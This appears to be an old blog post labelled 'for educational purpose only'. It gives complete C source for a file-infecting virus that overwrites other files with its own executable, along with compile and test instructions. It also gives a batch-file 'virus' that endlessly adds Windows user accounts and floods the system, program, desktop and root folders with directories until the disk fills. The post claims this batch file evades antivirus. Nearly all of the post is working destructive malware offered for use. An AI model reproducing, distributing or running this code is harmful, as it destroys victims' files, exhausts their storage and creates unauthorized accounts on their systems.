How to Create a Computer Programme (For Educational purpose only !!!!!)

Submitted by Srikanth on Friday, 7 December 200781 Comments

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to make simple .bat file (virus) that can’t be detected by any anti virus

Here are some good viruses ,i am not responsible for any kind of damage to your system … 

Copy this to notepad and save as flood1.bat…..

@ECHO OFF
@ECHO A Sharma’s Creation

@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET magic2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat
@ECHO NET USER magic2%%magic2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET pogo=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR pogo%%pogo%% >> bat5.bat
@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET hat=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR hat%%hat%% >> bat4.bat
@ECHO SET /a hat=%%hat%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET chart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR chart%%chart%% >> bat3.bat
@ECHO SET /a chart=%%chart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET gamer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR gamer%%gamer%% >> bat2.bat
@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

 riginal
CD %HomeDrive%\
SET sharma=1
GOTO flood1
:flood1
MKDIR sharma%sharma%
SET /a sharma=%sharma%+1
GOTO flood1

What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.